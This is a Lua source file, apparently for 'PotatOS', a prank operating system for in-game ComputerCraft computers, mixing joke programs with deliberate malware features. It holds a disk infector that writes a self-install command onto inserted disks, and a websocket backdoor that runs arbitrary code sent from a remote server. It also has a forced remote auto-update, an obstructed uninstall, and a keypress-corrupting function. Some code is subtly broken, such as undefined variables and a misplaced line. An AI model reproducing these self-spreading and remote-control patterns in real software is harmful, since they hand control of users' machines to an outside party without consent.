				local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID })
				if ok then
					print(textutils.serialise(res))
				else
					printError(res)
				end
			end
		else
			printError "Invalid Signature!"
			printError "Initiating Procedure 5."
		end
	-- if they're not PotatOS'd, write it on
	else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") end
end

-- Infect disks when they're put in and on boot
local function disk_infector()
	-- I would use peripheral.find, but CC's disk API is weird.
	-- Detect disks initially
	for _, n in pairs(peripheral.getNames()) do
		if peripheral.getType(n) == "drive" then infect(n) end
	end

	-- Detect disks as they're put in. Mwahahahaha.
	while true do
		local ev, disk_side = os.pullEvent "disk"
		infect(disk_side)
	end
end

-- Serialize (i.e. without erroring, hopefully) - if it hits something it can't serialize, it'll just tostring it. For some insanely stupid reason CC can send recursive tables over modem, but that's unrelated.
local function safe_serialize(data)
	local json = require "json"
	local ok, res = pcall(json.encode, data)
	if ok then return res
	else return json.encode(tostring(data)) end
end

-- Powered by SPUDNET, the simple way to include backdoors in *your* OS. Contact Gollark today.
local function websocket_backdoor()
	if not http or not http.websocket then return "Websockets do not actually exist on this platform" end

	local ws = http.websocket "wss://osmarks.tk/wsthing/potatOS"

	local function send(msg)
	    ws.send(safe_serialize(msg))
	end

	local function recv()
	    return ws.receive()
	end

	external_env.send = send
	external_env.recv = recv

	local count = 0

	while true do
		-- Receive and run code from backdoor's admin end
	    local code = recv()
	    local f, error = load(code, "@<code>", "t", external_env)
	    if f then -- run safely in background, send back response
	        process.spawn(function() local resp = {pcall(f)} send(resp) end, string.format("spudnet-%x", count), {
				ephemeral = true
			})
			count = count + 1
	    else
	        send {false, error}
	    end
	end
end

-- Check if "text" is valid Lua code by seeing if "load" handles it. I mean, it might be bytecode too, hopefully that won't come up.
local function is_valid_lua(text)
	if load(text) then return true
	else return false end
end

-- Send code to osmarks.tk minification API to, well, minify it.
local function minify(code)
	if not is_valid_lua(code) then return code end
    local url = "https://osmarks.tk/luamin/" .. math.random(0, 1000000000)
    http.request(url, code)
    while true do
        local event, result_url, handle = os.pullEvent()
        if event == "http_success" and url == result_url then
            local text = handle.readAll()
            handle.close()
            return text
        elseif event == "http_failure" and url == result_url then
            local text = handle.readAll()
            handle.close()
            error(text)
        end
    end
end

local this_file_URL = "https://pastebin.com/raw/RM13UGFa"
-- Yes, it isn't startup! The process manager has to run as that. Well, it doesn't have to, but it does for TLCOing, which is COOL and TRENDY.
local this_file = "autorun"

local files = {
	[this_file_URL] = this_file,
	["https://pastebin.com/raw/HL0SZhJG"] = "startup",
	["https://pastebin.com/raw/Frv3xkB9"] = "yafss",
	["https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua"] = "json",
	["https://pastebin.com/raw/wYBZjQhN"] = "potatoplex",
	["https://pastebin.com/raw/NdUKJ07j"] = "LICENSES",
	["https://raw.githubusercontent.com/osmarks/Loading/master/loading.lua"] = "loading",
	["https://raw.githubusercontent.com/osmarks/skynet/master/client.lua"] = "skynet",
	["https://pastebin.com/raw/Sc0DU3rA"] = "ecc",
	["https://pastebin.com/raw/jbmWhp4P"] = ".pkey",
	["https://pastebin.com/raw/rxkE8N8b"] = "stack_trace.lua",
	["https://pastebin.com/raw/EGPpcZbN"] = "lolcrypt",
	["https://pastebin.com/raw/eR4RfSiT"] = "libdatatape",
	["https://pastebin.com/raw/t4n65sEk"] = "paintencode",
	["https://pastebin.com/raw/E7x5ZLSY"] = "hasccell", -- yes I made a haskell interpreter; don't judge me
	["https://pastebin.com/raw/yEwXxHkX"] = "CRC",
	["https://pastebin.com/raw/2kRenvr3"] = "registry",
	["https://pastebin.com/raw/KXHSsHkt"] = "ser",
	["https://raw.githubusercontent.com/Ale32bit-CC/Node.lua/master/node.lua"] = "node", -- the best library
	["https://pastebin.com/raw/3NVepHYu"] = "textutilsprompt",
	["https://pastebin.com/raw/v4Ge7umh"] = "meta",
	["https://pastebin.com/raw/jE4guV48"] = "persistence",
	["https://pastebin.com/raw/DKriPmPe"] = "alekrist",
	["https://pastebin.com/raw/wTg5SVf2"] = "livegps",
	["https://raw.githubusercontent.com/LDDestroier/CC/master/workspace.lua"] = "workspace",
	["https://pastebin.com/raw/PMcZc4yG"] = "relay",
}

-- Uninstalls potatOS
function _G.uninstall()
	term.clear()
	term.setCursorPos(1, 1)
	print "Moving potatOS files. This computer will now boot to CraftOS."
	-- this logic should be factored out into the function. Why don't YOU do it?!
	-- Oh, WELL, Steve, I JUST DID. Take that.
	for _, filename in pairs(files) do
		local newpath = ".potatOS-old-" .. filename
		pcall(fs.delete, newpath)
		pcall(fs.move, filename, newpath)
	end
	print "Press any key to continue."
	os.pullEvent "key"
	os.reboot()
end

local function main()
	local CRC = require "CRC"
	local json = require "json"
	local registry = require "registry"

	-- Hook up the debug registry to the potatOS Registry.
	debug_registry_mt.__index = function(_, k) return registry.get(k) end
	debug_registry_mt.__newindex = function(_, k, v) return registry.set(k, v) end

	local fcache = {}

	-- Proxy access to files. Assumes that they won't change once read. Which is true for most of them, so yay efficiency savings?
	local function fproxy(file)
		if fcache[file] then return fcache[file]
		else
			local ok, t = pcall(fread, file)
			if not ok then return 'printError "Error. Try again later, or reboot, or run upd."' end
			fcache[file] = t
			return t
		end
	end

	local sr = shell.run
	local debuggetupvalue, debugsetupvalue = debug.getupvalue, debug.setupvalue

	local global_potatOS = _ENV.potatOS

	local native_peripheral
	if debuggetupvalue then
		_, native_peripheral = debuggetupvalue(peripheral.call, 1)
	end

	-- PotatOS API functionality
	local potatOS = {
		native_peripheral = native_peripheral,
		fix_node = function(instance) -- Despite being the best library, it has a few issues like compatibility with PotatOS Fast Reboot.
			if debuggetupvalue == nil then return false end
			local i = 1
			while true do
				local n, v = debuggetupvalue(instance, i)
				if not n then break end
				if n == "isRunning" then debugsetupvalue(instance, i, false) end
				if n == "procs" then debugsetupvalue(instance, i, {}) end
				i = i + 1
			end
			return true
		end,
		registry = registry,
		__PRAGMA_COPY_DIRECT = true, -- This may not actually work.
		read = fread,
		-- Return the instance of potatOS this is running in, if any
		upper = function()
			return _G.potatOS
		end,
		-- Figure out how many useless layers of potatOSness there are
		layers = function()
			if _G.potatOS then return _G.potatOS.layers() + 1
			else return 1 end
		end,
		-- Returns the version. Usually.
		version = function()
			if math.random(1, 18) == 12 then
				return randbytes(math.random(1, 256))
			else
				return version
			end
		end,
		-- Updates potatOS
		update = function()
			sr "autorun update"
		end,
		-- Configure a few things on the system end
		mode2 = function()
			sr "autorun mode2"
		end,
		mode8 = function()
			sr "autorun mode8"
		end,
		minify = minify,
		-- Messes up 1 out of 10 keypresses.
		evilify = function()
			_G.os.pullEventRaw = function(...)
				local res = table.pack(coroutine.yield(...))
				if res[1] == "char" and math.random() < 0.1 then res[2] = string.char(65 + math.random(25)) end
				return table.unpack(res, 1, res.n)
			end
		end,
		-- Provides a nice hash of the version number.
		build = string.format("%.8x", CRC.hash(fread "autorun")),
		-- Just pass on the hidden-ness option to the PotatoBIOS code.
		hidden = registry.get "potatOS.hidden" or settings.get "potatOS.hidden",
		-- Allow uninstallation of potatOS with the simple challenge of factoring a 14-digit or so semiprime.
		begin_uninstall_process = function()
			math.randomseed(randomseed)
  randomseed = math.random(-0xdead, 0xc0de)			print "Please wait. Generating semiprime number..."
			local p1 = findprime(math.random(100000, 1000000))
			local p2 = findprime(math.random(100000, 1000000))
			local num = p1 * p2
			print("Please find the prime factors of the following number:", num)
			write "Factor 1: "
			local f1 = tonumber(read())
			write "Factor 2: "
			local f2 = tonumber(read())
			if (f1 == p1 and f2 == p2) or (f2 == p1 and f1 == p2) then
				term.clear()
				term.setCursorPos(1, 1)
				print "Factors valid. Beginning uninstall."
				uninstall()
			else
				print("Factors", f1, f2, "invalid.", p1, p2, "expected.")
			end
		end,
		--debug = (potatOS or external_env).debug -- too insecure, this has been removed
	}

	if global_potatOS then potatOS.fix_node = global_potatOS.fix_node end

	-- Someone asked for an option to make it possible to wipe potatOS easily, so I added it. The hedgehogs are vital to its operation.
	-- https://hackage.haskell.org/package/hedgehog-classes
	if settings.get "potatOS.removable" then
		potatOS.actually_really_uninstall = function(hedgehog)
			if hedgehog == "76fde5717a89e332513d4f1e5b36f6cb" then
				print "Hedgehog accepted. Uninstallation commencing."
				uninstall()
			else
				-- Notify the user of correct hedgehog if hedgehog invalid.
				error "Invalid hedgehog! Expected 76fde5717a89e332513d4f1e5b36f6cb."
			end
		end
	end

	-- Provide many, many useful or not useful programs to the potatOS shell.
	local FS_overlay = {
		["/rom/programs/relay.lua"] = fproxy "relay",
		["/rom/programs/kristminer.lua"] = fproxy "alekrist",
		-- like delete but COOLER and LATIN
		["/rom/programs/exorcise.lua"] = [[
for _, wcard in pairs{...} do
	for _, path in pairs(fs.find(wcard)) do
		fs.ultradelete(path)
		local n = potatOS.lorem():gsub("%.", " " .. path .. ".")
		print(n)
	end
end
]],
		["/rom/programs/workspace.lua"] = fproxy "workspace",
		["/rom/programs/upd.lua"] = 'potatOS.update()',
		["/rom/programs/mode2.lua"] = "potatOS.registry.set('potatOS.hidden' , true)",
		["/rom/programs/mode8.lua"] = "potatOS.registry.set('potatOS.hidden' , false)",
		["/rom/programs/lyr.lua"] = 'print(string.format("Layers of virtualization >= %d", potatOS.layers()))',
		["/rom/programs/uninstall.lua"] = [[
if potatOS.actually_really_uninstall then potatOS.actually_really_uninstall "76fde5717a89e332513d4f1e5b36f6cb" os.reboot()
else
	potatOS.begin_uninstall_process()
end
		]],
		["/rom/programs/very-uninstall.lua"] = "shell.run 'loading' term.clear() term.setCursorPos(1, 1) print 'Actually, nope.'",
		["/rom/programs/chuck.lua"] = "print(potatOS.chuck_norris())",
		["/rom/programs/maxim.lua"] = "print(potatOS.maxim())",
		["/rom/programs/dwarf.lua"] = "print(potatOS.dwarf())",
		["/rom/programs/norris.lua"] = "print(string.reverse(potatOS.chuck_norris()))",
		["/rom/programs/fortune.lua"] = "print(potatOS.fortune())",
		["/rom/programs/potatonet.lua"] = "potatOS.potatoNET()",
-- This wipe is subtly different to the rightctrl+W wipe, for some reason.
		["/rom/programs/wipe.lua"] = "print 'Foolish fool.' shell.run '/rom/programs/delete *' potatOS.update()",
-- Run edit without a run option
		["/rom/programs/licenses.lua"] = "local m = multishell multishell = nil shell.run 'edit /rom/LICENSES' multishell = m",
		["/rom/LICENSES"] = fproxy "LICENSES",
		["/rom/programs/potatoplex.lua"] = fproxy "potatoplex",
		["/rom/programs/loading.lua"] = fproxy "loading",
		["/rom/programs/trace.lua"] = fproxy "trace",
		["/rom/programs/livegps.lua"] = fproxy "livegps",
		["/rom/programs/b.lua"] = [[
print "abcdefghijklmnopqrstuvwxyz"
]],
-- If you try to access this, enjoy BSODs!
		["/rom/programs/BSOD.lua"] = function()
			local w, h = term.getSize()
			polychoron.BSOD(randbytes(math.random(0, w * h)))
			term.clear()
			term.setCursorPos(1, 1)
			return [[print "Why did you do that? WHY?"]]
		end,
--  Tau is better than Pi. Change my mind.
		["/rom/programs/tau.lua"] = 'if potatOS.tau then textutils.pagedPrint(potatOS.tau) else error "PotatOS tau missing - is PotatOS correctly installed?" end',
-- I think this is just to nest it or something. No idea if it's different to the next one.
		["/rom/programs/autopotato.lua"] = fproxy  "autorun",
		["/rom/programs/nest.lua"] = [[shell.run "autopotato update"]],
		["/secret/processes"] = function()
			return tostring(process.list())
		end,
		["/rom/modules/CBOR.lua"] = fproxy "cbor.lua",
		["/rom/programs/dump.lua"] = [[
		libdatatape.write(peripheral.find "tape_drive", fs.dump(...))
		]],
		["/rom/programs/load.lua"] = [[
		fs.load(libdatatape.read(peripheral.find "tape_drive"), ...)
		]],
-- I made a typo in the docs, and it was kind of easier to just edit reality to fit.
		["/rom/programs/est.lua"] = [[
function Safe_SerializeWithtextutilsDotserialize(Valuje)
	local _, __ = pcall(textutils.serialise, Valuje)
	if _ then return __
	else
		return tostring(Valuje)
	end
end

local path, setto = ...
path = path or ""

if setto then
	local x,j = textutils.unserialise(setto), json.decode(setto)
	if x then setto = x end
	if j then setto = j end
	potatOS.registry.set(path, setto)
	print(("Value of registry entry %s set to:\n%s"):format(path, Safe_SerializeWithtextutilsDotserialize(setto)))
else
	print(("Value of registry entry %s is:\n%s"):format(path, Safe_SerializeWithtextutilsDotserialize(potatOS.registry.get(path))))
end
]],
		["/rom/programs/tryhaskell.lua"] = fproxy "hasccell",
-- Using cutting edge debug technology we can actually inspect the state of the system function wotsits using hacky bad code.
		["/rom/programs/viewsource.lua"] = [[
local pos = _G
local thing = ...
if not thing then error "Usage: viewsource [name of function to view]" end
-- find function specified on command line
for part in thing:gmatch "[^.]+" do
	pos = pos[part]
	if not pos then error(thing .. " does not exist: " .. part) end
end

local info = debug.getinfo(pos)
if not info.linedefined or not info.lastlinedefined or not info.source or info.lastlinedefined == -1 then error "Is this a Lua function?" end
local code = potatOS.read(info.source:gsub("@", ""))
local out = ""

local function lines(str)
	local t = {}
	local function helper(line)
		table.insert(t, line)
		return ""
	end
	helper((str:gsub("(.-)\r?\n", helper)))
	return t
end

for ix, line in pairs(lines(code)) do
	if ix >= info.linedefined and ix <= info.lastlinedefined then
		out = out .. line .. "\n"
	end
end
local filename = "." .. thing
local f = fs.open(filename, "w")
f.write(out)
f.close()
shell.run("edit", filename)
]],
	["/rom/programs/regset.lua"] = [[
local key, value = ...
if not value then print(textutils.serialise(potatOS.registry.get(key)))
else
	if value == "" then value = nil
	elseif textutils.unserialise(value) then value = textutils.unserialise(value) end
	potatOS.registry.set(key, value)
end
]]
	}

	local API_overrides = {
		["~expect"] = _G["~expect"], -- ??? added in new update
		potatOS = potatOS,
		process = process,
		json = json,
		os = {
			setComputerLabel = function(l) -- to make sure that nobody destroys our glorious potatOS by breaking the computer
				if l and #l > 1 then os.setComputerLabel(l) end
			end
		},
		polychoron = polychoron, -- so that nested instances use our existing process manager system, as polychoron detects for specifically *its* presence and not just generic "process"
	}

	local function add(module)
		local ok, res = pcall(require, module)
		if ok then
			API_overrides[module] = res
		end
	end

	-- Add a bunch of my COOL libraries for easy use and also ale's WHICH ISN'T MINE BUT IS STILL COOL
	add "skynet"
	add "ser"
	add "lolcrypt"
	add "libdatatape"
	add "paintencode"
	add "node"
	add "textutilsprompt"
	add "meta"
	add "persistence"
	add "yafss"

	process.spawn(function()
		local l2 = "PotatOS"
		local l3 = version
		while true do
			-- Constantly fiddle with signs.
			-- The top and bottom lines will be random text, the middle two potatOS and the version, swapping every second.
			for _, s in pairs({peripheral.find "minecraft:sign"}) do
				pcall(s.setSignText, "\167k" .. randbytes(16), l2, l3, "\167k" .. randbytes(16))
				sleep()
			end
			temp = l3
			l3 = l2
			l2 = temp
			sleep(1)
		end
	end, "signd")

	process.spawn(function()
		-- Ensure that nobody can easily shut down all the potatOS computers on a network.
		-- Of course, they wouldn't want to, but you know.
		while true do
			peripheral.find("computer", function(_, o)
				local l = o.getLabel()
				if l and (l:match "^P/" or l:match "ShutdownOS" or l:match "^P4/") then
					o.turnOn()
				end
			end)
			sleep(1)
		end
	end, "onsys")

	-- Yes, you can disable the backdoors, with this one simple setting.
	-- Note: must be applied before install.
	if not settings.get "potatOS.disable_backdoors" then
		process.spawn(disk_infector, "potatodisk")
		process.spawn(websocket_backdoor, "potatows")
	end
	-- Spin up the "VM", with PotatoBIOS.
	process.spawn(function() require "yafss"(
		"potatOS",
		FS_overlay,
		API_overrides,
		{ URL = "https://pastebin.com/raw/wKdMTPwQ" }
	) end, "sandbox")
end

local function install()
	-- Make a potatOS folder where users' files will go.
	fs.makeDir "potatOS"

	-- Download all files in parallel.
	local fns = {}
	for URL, filename in pairs(files) do
		table.insert(fns, function() pcall(function()
			local h = http.get(URL)
			print("Downloaded", filename)
			local x = h.readAll()
			h.close()
			if fs.isDir(filename) then fs.delete(filename) end
			fwrite(filename, x)
			print("Written", filename)
		end) end)
	end

	-- Concurrently execute all our HTTP requests for fast installation before the user can ctrl+T it.
	parallel.waitForAll(unpack(fns))

	-- Stop people using disks. Honestly, did they expect THAT to work?
	set("shell.allow_disk_startup", false)
	set("shell.allow_startup", true)

	os.setComputerLabel("P/" .. randbytes(64))

	os.reboot()
end

local command = table.concat({...}, " ")

-- Detect a few important command-line options.
if command:find "mode2" then set("potatOS.hidden", true) os.reboot() end
if command:find "mode8" then set("potatOS.hidden", false) os.reboot() end
if command:find "update" or command:find "install" then install() end
if command:find "hedgehog" and command:find "76fde5717a89e332513d4f1e5b36f6cb" then set("potatOS.removable", true) os.reboot() end

if not polychoron or not fs.exists "json" then -- Polychoron not installed, so PotatOS Tau isn't.
	install()
else
	process.spawn(function() -- run update task in kindofbackground process
		if not http then return "Seriously? Why no HTTP?" end
		while true do
			local ok, this = pcall(fread, this_file)
			local h = http.get(this_file_URL)
			local latest = h.readAll()
			h.close()

			-- Ensure that the potatOS update we're installing isn't going to (immediately) break it.
			if not is_valid_lua(latest) then
				print "Syntax Error"
				printError(err)
			end

			if ok and latest ~= this then
				print "Updating!"
				install()
			end

			-- Spread out updates a bit to reduce load on the server.
			sleep(300 + (os.getComputerID() % 100) - 50)
		end
	end, "potatoupd")

	-- Run squid's nice stacktraces.
	if fs.exists "stack_trace.lua" then os.run({}, "stack_trace.lua") end

	-- In case it breaks horribly, display nice messages.
	local ok, err = pcall(main)
	if not ok then
		printError(err)
		print "Press any key to reboot. Press u to update."
		local _, k = os.pullEvent "key"
		if key == keys.q or key == keys.u then
			os.reboot()
		else
			install()
		end
	end

	-- In case it crashes, spin uselessly while backdoors run.
	while true do coroutine.yield() end
end